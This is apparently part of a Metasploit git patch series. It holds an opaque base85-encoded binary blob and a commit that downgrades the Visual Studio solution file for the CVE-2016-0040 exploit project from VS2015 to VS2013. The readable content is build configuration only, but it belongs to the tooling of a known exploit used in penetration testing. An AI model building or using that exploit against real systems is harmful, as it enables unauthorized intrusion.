ztftBKb09{@<>xRgXJN1sCCjnAVSHu(vD}3Llg(rKLoWM|4D`m3_?rQ9DGOjlI-qbxyA6w?qT`G_)#+fp+Wy56eCJC&v%Ve;AmSpKGxmVEkzL7fi2Y`~mn) z0A{B0hxNm`++aNk16y*u&|DalqG-yu0+ucgzLME@aI9a>=CPiIK`E8v#doJnw&xqx zJB)`M?rav%M0-4OM~8E{;QKQZ?dgd16!&Gx7cgV4QaF*wFa1YxH%ojPGQdvBwK#AfC z+Y#q{kyw z*N%3~xgNx@wwCvsyqr1eKQCvK?CI@XZk+AO=@tiJN5#`6&R+g_|E;svC!S8x_Hgrb zing~~Je?fvI8Ub-d;QB}<%Gx6IUGFvj(E!9(o+iaa3$F54G-5WdpLQx5}d+;<;~$Q z57!iXxaDxk`NiAYNlxL+hOvaB=5qgI?d6C2pJ;CfWd9xQA^PtqZ`}VFdwa+IcZ3)B z^kM0ZhF|CQEf0EL42PVvJRFJkaPstzx0gfikKQil{v=ZFV!Msy?4SL?7CJ#@T)*gRnciZP{HfssmhkrWMB(Au-Q=K@b!yJ2jF#f0`mkb`Rd3HIsA7gJv z@!S8hJRDLm-@1A;u? z%FWBQO|Ea#oaAU;Z*NEB_{if3?tZjW{4sTA+v^3FPwHS_-$6dZUOu?{a;wS5-B{Y> zew)j6PUQgoyWgqbN3OTW-!b0jJw28SRPwyB+}vYgUu5OD*^;oB%o6%b!WTp;s(h?kQ*mAJgFryyQI za(Vn$N&HcgR}n@halSiPsX}M7*B(e&SZ*M~Jr&|A@F!#nbNx;z7jgh=&rF$H@`I zt4XdS{w?t+ik}zpWRjmEoP4%%K z@lukf6W5VkUKia$@+^{vl6(O1og~kY?Nk1E6R#q90`Uy8Ka6-S$@7To$-WQqdXjG@ zZYBN}@fPB{i7Wki`pW%!5b;k)9!mUx>>hs>Ozh)CJrS$GhJc#7a6AvYxL_C7{3&hLGei!08l5Zrw zlfpZOcrwW!Bff>~2N2I7`5fXEBo8EBK=Qf7ONnnGzJ>Uc#CH;Zop=@TowA(V?@GLu zw3W;;#^|CjYt<4<-40**^K# zmv{up(}?Sce@;A^_+jE1#4Cvx5U(O$O8iUWTZkVcUQ6NYL3}647Z8`{^)C>wBKaZW zb;Lg-ZY92*xDd$G=SA5(`PY+p5XoO69!mT{;^mY+qlib4d?oP~l1CBOk$eO3Dw0PK zPbPU0@oJKfBc4I>V&e4_-eBSdB!7r_De)ZQ7Bb(9_!g2cBwj)OjV8X6S9az3l}S8^crNi!;;zIah@U5} zBVJBCnfM#TGl+jcyny&S#7l`!CccHZkvN~1#WyRt;?KD$@ciz~7s2eVGf$({4*5Ad zomQu0o(Z$)&gPfWYKkmhMyn<=&w^QgXY*Mw1Lw?fuEUwY8|e};JgFAf5{b}k6HvS z;M5O3sgH)E&iLcwF!7Mjde4Y&5bLNisinttqo#pseZF?^F zgYrCZHmx@Cb)Y3Q>mbkXq`>SjSA70vkv+Ve%d3^L`BZ!Ox!e&S&NJ=d<9w+-pE=Lz z;J(pbF1cJ@eUtse_oAG`=P2jg{7QQ{v-Z5ByuE#VXVcj{ ze>V(uxPOlP=6s1g|2WUEmmAKr;ayT^_j2s{$K~>>qwK!XDLpYh{M|N(|3-Vc<@Rw_ z+}Zv74)Wzr?%_Opx)aBB4|Ihqz7CaXPfxyXD6cx>x-+iR$*Zh<9U9YHE}wjU)lq(A zF1JIRX%<`@V{7way_eJ*f;#}VCAV7b|SAyggL*{agm$_Uc`8u_{OM>r{ z;BQ&;`0;f&F5&AN|JfgM{X9tbe=^VYo%>I|o+tZ` z@x}5ghZZ@m_u^N7*ExNh^_}C(*Y%e}D7fP5?~d^B^#W{9cnjm;yavf! zw$FKnJv^M_7XY~8JkQ=faBjBupM1UF;Xhd;u(fsItK0LI4sxYk+$Il`h7s)BVV4CoGlbM@zKvc96I*xouZRm-zD~2yZI1t(XZ0quFi5a z8s%gjZf$n+T;Jm09V5UD7#woO9p+~<^?e6&=dP!G z=Zux@%?p2Z;0+zP+HRSrf7@zV<5Cia;A6Y_?~d+=@U6G=*Jm_%_KRO+=eD*7Yr~5s z+Bv#|Zp!Xqa=F0Op%|dJ{I$>KqdntydzK*@p4(?etXRJJ5r&E3#fW<4%WDyh+ipZ- z+EIp;yPw#DygIZ$%WvC&wG7KoUtp*m8uLENqr$f`G+Y%vK(3y-kf9~xGlqI?&ks@G zva^7p_S^3nR_q!15$e~8PczgMUuCFWF@==}L!UPp!U@P6H_!V7&D$RQh+*X~o%SLZ z0x}sI6o(mVw+B}-eb?m-wL#x7jJh;%AL^H97cs2ZUC$8GXFuv!EG%Vctow~&<()B~ zqJG`QjSRKxFEWg}GX4PS8C&x3=N-UF)Z?Zo}m!=1w-|8D?{5P|AT10B4|9r zqPj&4%a@ihRR8fIL+#|BIWKiPgyt>p4P{vOQ4&Mj>#GH|@ zS$m}29>GxmNDRm)VsDY)N~E5MSJCNgdSq`jZ}t~ zLr*Xi3g2Z2<&R-SMI%FF=dP^%t;`%)HXcB`M?hu7R7(ZP@Q~(p)jlKS7_fbek{jM z$qa>W3K$w!y~wbl>wboHul~f)=6{=^Hm~Q`XdmhkL;cSG6_e&OEIPB2q4A-Y7?z*f$Iv$N48w{wEe!P*pE~CM@}3N} zZbKNV*NoW?iz=RAsBV0op?1P{hPFpOW~l$DhN0o&w_NUf zfnoKKMuzGb#VPbZYNndwyxt78$-@{5(<2$yMJ6z;=s%yK(RC?9{Z9o9quzdkp~3h( z!;0Z=F@*MkVfFKe7*>j>7}|dQjiGVHUknY(y9_Iy@i~p*(Rb;=(6}*_p;{QrP`fOS zVcplW7z#rcalYEfFzTzv7#g~4WT=_>GQ*1XZ!@&)+spC%5r&m+-!atpKF_dvq>Z6Q zy2sEM>&wPlm6Lifw2TX7s2)6qVY~4dgqx|SH6Qdn;Qc}5cYec0WvbqfoO}8)tKV~9 zM`mU(nh@LcZRA{W%v)C;xE|^A#kq+YF*T9?Zyhy!wZ1j-^be)ZW;Rb|sJ zM+Ryq{as%wh`S1hZ13Wx6l=cytGe3@?xIWlce_?h-4)qMJJu#G?<5{>_L%bHqH~b} z2NHXqRCtJA{N6mn(sU*AYEzH)))7oN)|RVuq>3PB~xwCCm>L_k8SX z9JKDY$m}=Ae7J9}TAY5xV`}ZRF5<2OZ@l(XOjmL6m75>!Slmne`_9b>%LmPor8eWy zq{~f_AD$TRs*&@)aL@d)2`7UERdD7ruTZ zvD9B&Q|Do*@$V+KC`U{j<~3X#e{RTyBLUsSm!{|4-SO!Fv1F~~&9?wrKlV(N@B-OGLZh+_uMyH}uUi98Wp z8&Wz`EiN@@KRW9Hf9hL`mc$BrF;_m`^vqFd+PDUYq`BEGJ=9RJ9ZL&aY6UI?^Z86=K*WJJ#Pce;zS zJxpG6OvA*a_g3B+6+A$kxi#gRA&Uoz+JQCxwJ|~Bm@gmj`7})l^MZ{!sYz z$Fra6A-?qLL$CA+yBxXn?rOhFsgf9wI^#^ImxqbIqZf5A?>9&+eyAX#Gm?<>a>E;%na3 zr?;-1AfB3ksIl@bjrd~o{Jw@CBE_+`mmgQXuN2RHS^jaqQc-Mv{=O#vE@Q-(R9hE3 z(R-Nq*1mD^rssx==aa>i&$&m4;jXV=8PG6X^qTY3yc@H|iMpCOEx8BBh}TmZReitg zFK(R``Mu`cXmL*C`jpi($BU|0zH7TPCqn$`$Ivyye6^zGx7f{fT^b^{&%4qoRUIPw z|2R@rFl>PMO^dq68S&4^$G@8P*wplXVxL__@dfkU#k8FFzY81QNA$fh?#!;5vErSg zhZn8w7AmI1pF6f_#+683{zizU%ikE1IB~349C_LDmUXbWr%zYg(aOQ%;`zUr%kI;P zo0C4hmaBm;!k?UOD*MP5Ip}baxDW<|>G!c!B(^Ua6nsNeJzZ!2F}WDJE5nk+e86tRE2xc$*VUyd3x zRCKxW_lps0`-qp6npcmXoFMAI{Vdj9h!D>$H4HfP%nC1ye zTZZcQ$mzYs3(pnipD^5voHC>6+s78)iOl_NY4_$)W5s19Vv~CBaIuRzZGTSbII+i* zd+IV~-Hv>C(8ivbPmYFgWcN+qd@u3^LGpMkd6XFRdS{nEg2qri8Y50MDA#WHl*B$s zn=gJ5K2h}1Mt8EkA0ejp{9)~+7)cys9`}$}>UiO{ zS5C`|5<7Rb)VRg=6gTU>K9qhWO8jc{ndpFHqs03sEStS)n<+Bp=V({2TN?5DnG0UV zr-zAg8{Ep8drlMQynXApnSY7mXXzIOuVr!6J|v2U^JCX-&C!Xrt-cL=(kF}NYq~vm z{fCRkPHkJ)^Ya8TefiFN^D9HdUQ>H`ANo34eEsDp?}cAQi$?u`+Bsw5L_^=u(e;mw z6;JPr(jMs6Uu^ul@R7ftiV`o+{drvOu|#q1b>AJ&x+RFd+u!>7hmxt{{<%l|j6Y~a z@6W8AvyR7#f&DH#+kI%HIBCtoE`5&m6(2SKlqkM5P#m%&I`j3GJCP%l4K6$4`-o@r zi&stCb-(ESN9sLo=KbREzs`K_aV}ci6x^_8NJf~rYTMb;2G8+gv*}=1cx#mS-{xa9 zmfrB!CfPjiC{|auNu6&g-U)uAP13X!_iia}lRiFM@t!)hO?r6J)YsBufqVChZ4POZ zl)YEk4tlmpE>Fd^9J_o^s=lW9(DURy>8fJ?%A(!(q$PW8?~Zupo^(MSs(uURd z^=sU8R|+3mmGsGqyV3`y{G#_3+?9HL7Y+Y+r5^L|yg78>UCCUX^Yq8Qccr6W#4gBb zyd(L%?7DtV{T=C#FBQ*ce||@L=G;T>A8xxNP1)|HfIE_}}~xQC8F# z&24F0-!mhodEJ&m_q=gnUE?k3q4LeEt!HmZJ&i|t7?0eN?p}Rjc&|OTq|Z~A8vfpL zOPY61JLA%tTT*t9y6uYWThi1G8J^K|Z%IA2MZ^CssUrBu6N87|l3b>(Z2h(?=vOG< z|CV%Sl=``+uC+>G8Oyr8{$s1;^2WvcPaSHNep1iA(tmfW#OK3WrMBv){Dwc?Dw(Q$ zTP_+~rQIto_STcttg>*8-~TBYyH6`iO1wMw^wUU~Xp zYl|d}ZCE+;Qj7F$kanZu+ZJhj8w{krXp!D&TBh3fUW@d~dPQ^fi!IXB%6DzQuWOO^ zZK^&n(A**gtxJLb7Ae4^;E*uAMf&CQ4_3Y~u|=xbwni~^Fvyu|kvxJ7MGB7=DQdOi zuKV?yQm^R`%m_JuQ@ZZ{X!OFmo6;)9uuUI+ep5Pp&7$nP>!wsT?vrKjynIut-BwVX zu;HfUcl0HHW#LWf{kOv}{=DR-l%20QbYjj;X>zv*&8OmSN*nJ*AF+ksln(qld39+2 zo08Y6SF#Jb+?0&PJ`3Q~WT~5>v8$o6Svod0X4%bi%~DEj@qq28nx$@82fJn+Y?dN> zyy+ePezR0=nssX88_iO6UFrBK&wxCmxNAmnv(#gWV$ACgH%qO3XDq#z(k#6>b;9G* zXEsY|eSGHCPHL8Zt=>>IXH>HkwMenzR=;Lx^X?HD9|kl_9$k|S#qQ10ov=aSY0WpJ zKLYEj=Kpa+dh7hP!%OOKNORTC4k`TLS>BRD5=g-W#F5Nz}D7|I!bt&<$ceMk@ zUzeWf{e8&duO?vvTCduXPiwB0D zZ<3DYzw^wQ@0+AQ-hE`-bH|&c*@OC>F?`k}1x$Fq%Y^rvq`tK)Bl^G9B&Dtn8XEj! zlk}8w@wa_9f;^(QOGI&#^jF;RQ}gqiB%SB4O&c?tq?W<2FZ}w!Ch1_oklVpCo21EI zEbkRgZjwGYFn9jN@lDdLUQ7R6FuY0nLOo>ag?>%aCs!{guLx?A%1>z(-Tj&*gGNEVeTw(?Zj>&~))f^7HcDrzm-tTcX_Pu^6!70D8G9dm)a_=2lu)&L z;`M6{lDSHn@b~!!>9eWBmfWaska`tw-R1F3gEY?)e5db`25HcrlcT17+8|xn-?(Je z`wi0bkMu~{x1&LN&EL{p@mhoQ%GM`~W^Hbe&JHOrsoc;Ybq*@_4=Qeu*8b45`-T+_ zQeobt^&UA5l49f?{l>Hg$!}o(!u#eoNXNgw`{uqG4bp_KygMz_HAwxZgm3I5HAw!o zqv5|ndawG=^<_gFq*2-j|48oFAPvy%=&tPna;6%jBDLc4+n&H}_tds~Hfd|fhqwN` zVUx;VxwP!YHJjvbSToz>qD^{!^3yvtXKm8>*GA8YJ#CXF{B&UY!^dsX!_j5yc2wJ> z+E+uaUD|7tKE5{0G<=Uu+M&+yF5YgF3?+NEpMBLPC3z{vNzd7&^Xd5?zWbz2TC1L< z?6Vg5m8wCnKVp-P-kjn+AkQY+($%f6cQ=Zs9-Pd|`%7 zI+E7)WPH3$QoBXNKbV`cX7AAmo7Cf>-XA}swMmx;t+2Rij4}O# zz&uknsR%wa=ccsbJO(HkVcj}+$p|gz#K4q`4xI6l&Au&dKZ=6MbIiGU%S<_0!_o`b(xN_(PVksjmvNJ}4^o;o%?Z9#UrIRy@7%FQ%~EjGcI!B^y(mMusxfK#Ay zQnD80<>s4G(}6P+c?)9Z#D$I2ju;cB)rM;q6pRU9FcXgQg2Ss8z*oY_ongkbMLY;Q z0r0}Sz&)2!Vv-W@1LaY$L3J1$>0|Dn&6Z4~_QJ$D$Ys6$TCHFJy(qBA^+uYn3)D!dy!3F^v#+?^z$>2Y1&>yylzL#!P2t`myp_H+7z#3ryYr{-= zrqupg_9_6323bWRJr*W(`rniSKDgG&(Pf&&X3M!M25#0f?(7l_R zpxoqUbTzo>Q7;Pg`Y2rlWw^g!fW-d+t^*Xt_S^*yENyS5dw+MKvtp;4y9Hb$ztth& zUQZ99=k;xF>YBIQlu0|>D!U89Ex43pA@1mxdAl3(uCQTRgL)8#j@;Q!_wMe3_Zkli z3$+|a47a-rq^(jYf{o0dz-1)2oH-a16maoDLh>SPsPjJylju9k*7V4 z6qpxg_^z{;i{LfVU90Ho2IbXP=(}5Qm=u{ow8 zI6=4v*Bwf01$<&@0JH=oPLMdX4OE>t+e8 zRyet-2=W$!(tL%WBp)Ft9PVcZ*g9Jvem)Ap2lC;c{4a!jDuGM(pXCE^ISwAMnY$BQ zm_`gS-kTtg5lt@oe{%CPogjP#m+a<0nTd>tJr8jGPi7tm`N#ia<}Uc-<79@FLC6Ev z)!nF`-26ndq40ayt5Es zQrjR5b>7uHZ!sJZkha~2cnUqt*P)&@2|W}x!H2?V^mMMLP!65yY4JixXSljnQTgTN zPp|0iA#{iEbvJc3`Ww`G{{Rn&qbK+eI8tq|=RYLFUP9>Yf;5$haWU^f`-29I>4mw$)4 zat{W~{tGfjmDHorORP)X6O^r+=Rd+SLhpDczIEK2x_yZpoTn9kMxD|+rB>VKGPfQfqjTy z;7os;oG(4s!+RBQ*~_J`i{NW=|HpQ3Lzy5n!S#Whhn+p3FH#GgKj3|l>}Kebg77_D zU&-cJJ}L$8nU1_(`II2E!gWQ?>rO60r;*-Tg|`cq39TZ?1KN2{Xy*Y(1{heM3+>%M zmD$WqP-fv8xepQvls~p_W~g7#?gc~tOZBo^4&R2C1mPH5u4G=(%^UJ7Q0TU)ecQ$J zmX%RM_YgGGRp@rQy&25Y4Dhpin3vEqsobS!_){)D6&qaS-Wlal@UYo^gpbfW>3Nsl z;hSB0E1q)cY*Sl0Rr4Mk%^1Lp!rN8w&TwJni^sEld$@O-ARL6Nha7Gke?XmA;8<*v zo3{G^FCi!c+9<_+0v}ttYu%{aL6za-m(I|4__zu_8SaATp?^-#w{{A`?{LZK$=g0? z^PtWIKsyI*yb;rx^+7I#YXEyHg`Q?e2WS&|hI5H@QgwW;b3Arh0>>Q|Sct(+xcbr1dL7Hu0cDe57pr@(k&o{EU zJD`WptN%^?jB-#X39k{#<|h)@6D}fLO4y&Ul<+0OO2PoboT=QO0^$bZGYRKR=5iBZ zIpH?KYQmogZG_%axIGPFIN@Z%2MA4sYX~_3NO+ylBc9t=69yB85{@TKAY4pXL|9I^mGA??YQocm zzY<;}yhEs@cmxv;B@_weauQDY(Sy)K&L=9fI^weV#}xOQ;bgekdFdv7MqwTvh^vQl zqG40JW2WwJAqI{uHm4`C(~AY+N!MwkM#kmjXY-l1SQAtZ6WHkP0*A%LCwVISFBzMnTt$tT3fUr>_)fHk?6EE zI5Qqx@A03m$EOLq6nGpk*%PM4&AdM@Vbn-I!8nL~n3QRTgT)15f-4*e%nAJF2?NkY zCq5-Mo~+ip%rs}kq!{7sxpWLS%u5Md-9RrPH+NaSadLhRKQkC&R454h-9a*kpJzTh zXGLaCnjmaNJx<~Zg!kNM=VYYhq-CY2#TBH&k#cZ`9>g1F)L;hH9YXbA#T(q^WB1bK zBo&HWu_8%JSDj%q^B%T{}266P~x)E&Ho`-=oFt0mZEdgW*IYcSV{@6xF^}qo_-DQA$a_J z>DQ6jPnCWZ89R&mQ|Gc9R{(J}D4Y*fUfwY^m>H8p7t{QHm}rG^|GR5qewI0NQXy2g z+_{-)=`k7qPkZMB>sEE&@%z>+^}1}bN+vu;yGxexyfqNh4shW;aLAv!B{U`^#1u-L zB~Ja|{W0-N>U0@3EVRxVHbWo76e!pBwSE2HLMd~lR`aw?^}1}eI<`8|8yFNMSEQON zWs|8`*yrbaU-}3MV*<5I#nShEzCJ$p+;h*LpBmf2qz*}xcFJ2?{xDhGys!vuHLk+ZCia*o5pw9hc8C25WF0Da08PV8DcvnwdG zUpX?uMXy=wQrzDb*)djSm_M?%oMjnXVy+r%CWOjwkd8ocK!6ei9IvZ zQw&b?_LC9Xr#zgs=X$B|zKuV-Qzbc%NEy~(m#bBjA4tkAv%AcJ#T^3W`Eb;7hjitK z=Bs-qrav!tOs9lR!i)x`sJBhIz&s-%M#|i# z+_q%%j)@4pWW|VuDE%IPUM=uXpHqLZ``OoC`&jz<%O3ma&;GB>YSpZPd?U{$H zYsqurGH5&V$~$Gu6}WT#HP4`)_wi2E;9XVD`R@m2R`dM#t9n;lhODA4u87WhP2m3h z_g`Wq=AJiADr@q-r@F6-^V}O7(jfoeWR7Q4^W``Ez3;S{-98Xj>o-zVOD{LbU5vici*?ocUr z@q6^^UVMvBPV;_#IeA5kAIq$MIdGTRZf}=gvL1G;+?ZAF|CI}MlzPi!;rZF^yEnP; z%6mLl3oKr{mo@z#UBLPXYv#i5@_noa--iE=eE2SW=(o6kBVL2!{E%A!?|~Ox$nO;3 zRrseUflt6Y9jr;?7q7v~+Wev4=0Dw$F8l^Mffr`bDZDUmr7vDXU%b99>+a*MmyfYt zF5HTIc;P)LfM2|ZE^F(X`SGtf>B0&0gyexKRLAS^6q4%|zW;amcNyt6IET7;;USgJ zzwQy`Fzh17nC!Dsln-5^C`&#;JHRdI$TjR2fgf2xdy?M?uSHV+82lk}liq>re~)`- z;=S-&Xbb+^Ftn0u!Oy`Ol4I-eN0vVc)sL9z!YeKBh5^e9_gX#*k0Gh^JY06Ed8|;i zyl?_Z{U_m#tkKU=hmG(hG>PxQWll4X@M_C@;e)@gC>nVZ@Hmn-nTMDDf$3fFW&X`k zCy#vJ{p$puqxfa;DkSH1!@H1N?<9;_Uih%(=im{`3;)jYT^MsIN>AzlkDxxj2|H+j z@4^?*tN1?r2~w!%sw=o&B^1@~80+MuL1j)H(;mb(+>m*!#HT(BScfo0NF@6pXkmM0w z={C#R2>`qCVvvXu-0t16Y#_9 zxW6jtv+z+Q$0ng+dEqNa>b7J(;{=H>!zPma!nWm4z*CkNF5kd&$`{^@=B}r&;nPUU zIRY>Er0JK#43g{B;ZKp2|0=x4Yv$45^Jpc(VNV4C;UE=^fr9zGiJI5k0Gh&JUnfA`SE-& zlKi{i~d@f{`akn(Q6qS+xX_puPCeVM_~N3^gCYotGAo)K{l8~GUkO}{2Xmao&)f@?X(@< z1OF4n@dM}&m~{}&T3-0Uovg)?XE{8C`gjfgJ(4=N;6LtCc(WN%o`n-Z^Spe0rrhv( zb9}CY4 zAvxDP93ZLZlDiealAAobH z%(22_Na5Id_<yaY5p5y84?n!mJeLYLAvty)ZjPFLaR5GzWWLP9gZs@q!c*t~x)XI`|^`LykQO?~f_U zI{ZQSIFdR)0Y7y=p7f3IsRtOJcnx0lW!6&h9=IP#{sZv8ko4C8{`FUgtK@0IpCHL| z3Lc7^?Qj^*qYin52MZ6JKK-;wRxhKSDka@eM})lFu&qS@?xVnalVnd^la=0J0@CV>k zIrCUI+@9zChV+0C_3=aEC1&>Fmks7H>2df9TC#@s5%^@myj~4{wrJKN3crV>osYsE zk})96m6*dE+k|c8!Q0Dx4nbbL8+vNw#|x*$b8Hwsh@_7aa9N%E!;we$Q6%ZB;5d@} z8vHRjOdi?4F^(kN10O?m((7>KY2vWtfm@%Ut?*%Z^p3h*iZ&miB)``7B z*>@^lDEmZR=_X+l)W9|g;C4PUJlLj%Dd`e?pb%xEU&K?`*KNe zog-cD@9pKaKx{<$6GHddkFo2cQn(43s&Q!Teobu%sr|` zW?5C+F*!3G93R~ujEr7?-EVwgY)2##ocg25{VD}aN5)6@?wP(OvNIH%+7Y>IYGUV} znaIrU*~@m$OkJ}hGIjaBD@Ik;<|cLrBeSe%d_y^&d2$g@gY@xPSz@fE}4 zI5HC4xtCS4{nm3*_5|gqG)jIBQZS;khsu1;gC&s-dbkF8#4H=dl` z8RvT5B+k=s(R3`WrHynw-AcF9owO}u&m=O*jFvGn^-Lqv%(OD?OefRL^fLX-AfxCu z-L5-yRd?zx-K~3cukO?RdO#29VLhtH^thhTle(rGdR=emO}(YJ^^V@vdwO3V=t|a> zwPzh!HS5f}vhJ)W>&^PI{%jx{%7(MiY%CkkCbG$_mNl~VY$MyuwzBPPC(Dl^Wc%4c zR>|3N_M9W9=A1cx2rB2vd2_y;KNrY_a^YMw7t6(SiCi+L<&0cCS1&ip&9YLn*VLM` z=Bl}Co|?DjtNCl8TDTUi#cJ_dqL!>_wMMN~Yu7rpZmm~S+Qe1b%$M?~0;y1{o@%6; zsaC3;>ZH1TqSqOQ}UL4 zC4VVU3YEg8Xem~TmlCC9Nh=wpdZ|%rmRhBDsZ;8fdZm78P*Tdavc2pmt7T`|Rd$y> zWnbA}4wOUXa5-9zmE+|^Ia$`qM%lc!R=Hj7l)L3#xnCZXm5QxmuQ)1d#aVGx+!as7 zTk%!=l|Us_30I<(SS4ObRFV~~VpO=mF7LmLfd+ltp??P%8$Ii!SH1LTh~A9TlLo!m zq6d5Qo{gS!(raFNEJSa`=_!L=YSBYIddEi3IO!EHJrbff;`D@(YvfwFPOg_5GH%R^!!V)u=YAt!k&*s}8ERnuBrZW(@in zfl)?ZvStj&UWaiv;JsJr^O+6UG>7KY+?rSOYauPF#kHhnXbr8Ub+n!~&}=D3%9(Pf zyo}LMDw>L?k|~36+G33MQueA^byYo8Uo}t-S7X&gRjbyk&1$>at@f+td~h)re6;}c zAjTZfYV}%^8PKiusRf@AC8le3P1RhQNAqa`Ev&_~gr;eAt*N!OuGZI-ls%=UTq#e= z$24YIbkqH`Lab3Uu8b$+%LFpv zOpM5*5p|kGoG#HuA=0Qs84nRAKy--_Su~jF(QXX)Myeh zxa$zo>%j(yeIF=2lC;3ET710`Fg&YZ|A%D zeqJ%`hHAJBkKr={M%aiM2}3jLM$>2;U88R(1$#j)xC)+vuMjAN3$a3?pcU$cW}#i^ z7WxIHXfLWoSJ6}S6$8a^F;+|zwPL;4EVhf?VxL%HCr-GC5kBHWnAngYF4Tz$ZQ?k+f VV@4&IQyR0X&L_1(D@IO&5N! Date: Thu, 3 May 2018 14:58:30 -0500 Subject: [PATCH 14/16] Change Platform toolset from 140 (vs2015) to 120 (vs2013) --- .../exploits/CVE-2016-0040/CVE-2016-0040.sln | 99 ++++++++++--------- 1 file changed, 51 insertions(+), 48 deletions(-) mode change 100644 => 100755 external/source/exploits/CVE-2016-0040/CVE-2016-0040.sln diff --git a/external/source/exploits/CVE-2016-0040/CVE-2016-0040.sln b/external/source/exploits/CVE-2016-0040/CVE-2016-0040.sln old mode 100644 new mode 100755 index f7b585e8a4..9a6f52e534 --- a/external/source/exploits/CVE-2016-0040/CVE-2016-0040.sln +++ b/external/source/exploits/CVE-2016-0040/CVE-2016-0040.sln @@ -1,48 +1,51 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio 15 -VisualStudioVersion = 15.0.26430.12 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Application", "Application\Application.vcxproj", "{81D011C1-F734-44D1-BE48-B16D643C99A7}" - ProjectSection(ProjectDependencies) = postProject - {2B0E925B-9653-42D7-84EF-E47DD89DED3D} = {2B0E925B-9653-42D7-84EF-E47DD89DED3D} - EndProjectSection -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Metasploit", "Metasploit\Metasploit.vcxproj", "{FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}" - ProjectSection(ProjectDependencies) = postProject - {2B0E925B-9653-42D7-84EF-E47DD89DED3D} = {2B0E925B-9653-42D7-84EF-E47DD89DED3D} - EndProjectSection -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Library", "Library\Library.vcxproj", "{2B0E925B-9653-42D7-84EF-E47DD89DED3D}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Debug|x64 = Debug|x64 - Release|Any CPU = Release|Any CPU - Release|x64 = Release|x64 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {81D011C1-F734-44D1-BE48-B16D643C99A7}.Debug|Any CPU.ActiveCfg = Debug|x64 - {81D011C1-F734-44D1-BE48-B16D643C99A7}.Debug|x64.ActiveCfg = Debug|x64 - {81D011C1-F734-44D1-BE48-B16D643C99A7}.Debug|x64.Build.0 = Debug|x64 - {81D011C1-F734-44D1-BE48-B16D643C99A7}.Release|Any CPU.ActiveCfg = Release|x64 - {81D011C1-F734-44D1-BE48-B16D643C99A7}.Release|x64.ActiveCfg = Release|x64 - {81D011C1-F734-44D1-BE48-B16D643C99A7}.Release|x64.Build.0 = Release|x64 - {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Debug|Any CPU.ActiveCfg = Debug|x64 - {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Debug|x64.ActiveCfg = Debug|x64 - {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Debug|x64.Build.0 = Debug|x64 - {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Release|Any CPU.ActiveCfg = Release|x64 - {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Release|x64.ActiveCfg = Release|x64 - {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Release|x64.Build.0 = Release|x64 - {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Debug|Any CPU.ActiveCfg = Debug|x64 - {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Debug|x64.ActiveCfg = Debug|x64 - {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Debug|x64.Build.0 = Debug|x64 - {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Release|Any CPU.ActiveCfg = Release|x64 - {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Release|x64.ActiveCfg = Release|x64 - {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Release|x64.Build.0 = Release|x64 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Application", "Application\Application.vcxproj", "{81D011C1-F734-44D1-BE48-B16D643C99A7}" + ProjectSection(ProjectDependencies) = postProject + {2B0E925B-9653-42D7-84EF-E47DD89DED3D} = {2B0E925B-9653-42D7-84EF-E47DD89DED3D} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Metasploit", "Metasploit\Metasploit.vcxproj", "{FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}" + ProjectSection(ProjectDependencies) = postProject + {2B0E925B-9653-42D7-84EF-E47DD89DED3D} = {2B0E925B-9653-42D7-84EF-E47DD89DED3D} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Library", "Library\Library.vcxproj", "{2B0E925B-9653-42D7-84EF-E47DD89DED3D}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x64 = Debug|x64 + Release|Any CPU = Release|Any CPU + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {81D011C1-F734-44D1-BE48-B16D643C99A7}.Debug|Any CPU.ActiveCfg = Debug|x64 + {81D011C1-F734-44D1-BE48-B16D643C99A7}.Debug|x64.ActiveCfg = Debug|x64 + {81D011C1-F734-44D1-BE48-B16D643C99A7}.Debug|x64.Build.0 = Debug|x64 + {81D011C1-F734-44D1-BE48-B16D643C99A7}.Release|Any CPU.ActiveCfg = Release|x64 + {81D011C1-F734-44D1-BE48-B16D643C99A7}.Release|Any CPU.Build.0 = Release|x64 + {81D011C1-F734-44D1-BE48-B16D643C99A7}.Release|x64.ActiveCfg = Release|x64 + {81D011C1-F734-44D1-BE48-B16D643C99A7}.Release|x64.Build.0 = Release|x64 + {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Debug|Any CPU.ActiveCfg = Debug|x64 + {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Debug|x64.ActiveCfg = Debug|x64 + {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Debug|x64.Build.0 = Debug|x64 + 